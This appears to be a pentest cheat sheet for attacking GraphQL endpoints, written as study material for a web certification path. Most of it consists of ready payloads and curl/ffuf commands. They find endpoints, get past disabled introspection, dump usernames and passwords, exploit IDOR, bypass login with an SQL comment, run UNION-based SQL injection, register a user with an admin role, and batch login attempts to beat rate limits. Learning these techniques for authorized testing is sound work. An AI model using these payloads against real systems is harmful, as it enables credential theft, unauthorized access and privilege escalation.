Web

GraphQL

GraphQL attacks from the CWES path: introspection/schema discovery, data extraction, IDOR, SQL-comment auth bypass, SQLi via arguments, mutation privesc, and batching to beat rate limits. Every payload separated.

Detection

Step 1 — Find the GraphQL endpoint

In Burp Proxy → HTTP history, look for requests to common GraphQL paths. Also run content discovery:

/graphql
/api/graphql
/graphql/v1
/v1/graphql
/api/v1/graphql
/query
/gql
ffuf -w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
  -u https://TARGET/FUZZ -mc 200,400

Step 2 — Confirm it’s GraphQL

Send a universal probe — a valid GraphQL query that any server accepts:

curl -s -X POST https://TARGET/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{__typename}"}'

Response {"data":{"__typename":"Query"}} → confirmed GraphQL.

Also try GET:

curl -s "https://TARGET/graphql?query=%7B__typename%7D"

Step 3 — Test if introspection is enabled

curl -s -X POST https://TARGET/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name}}}"}'

If the response contains a list of type names → introspection is enabled → enumerate the full schema.

If introspection returns an error → it is disabled → try the bypass techniques below.

Step 4 — Bypass disabled introspection

Some servers block the string __schema but not field suggestions. Send a query with a typo to trigger a suggestion leak:

{"query": "{__schema\n{types{name}}}"}

Or use a fragment to bypass keyword filters:

{"query": "query{...on Query{__typename __schema{types{name}}}}"}

Introspection

List all type names:

{ __schema { types { name } } }

List available queries:

{ __schema { queryType { fields { name description } } } }

Get fields of a type:

{ __type(name: "UserObject") { name fields { name type { name kind } } } }

Introspection-block bypass (newline confuses the filter):

{"query": "{__schema\n{types{name}}}"}

Data extraction

Dump all credentials:

{ users { username password } }

Get a specific user:

{ user(username: "admin") { uuid username role } }

IDOR

Access another user’s data by ID:

{ user(id: 2) { username email role } }

Auth bypass via SQL comment

Comment out the password check in an argument:

{ user(username: "admin--") { uuid username role } }

SQL injection via argument

UNION inside a GraphQL argument:

{ user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") { username } }

Mutation - privilege escalation

Register a user with admin role:

mutation { registerUser(input: { username: "hacker", password: "pass", role: "admin" }) { user { username role } } }

Batching - beat rate limiting

Send many login attempts as one request:

[
  {"query": "{ login(user: \"admin\", pass: \"password1\") }"},
  {"query": "{ login(user: \"admin\", pass: \"password2\") }"}
]

Fingerprint the engine

python3 main.py -d -f -t http://TARGET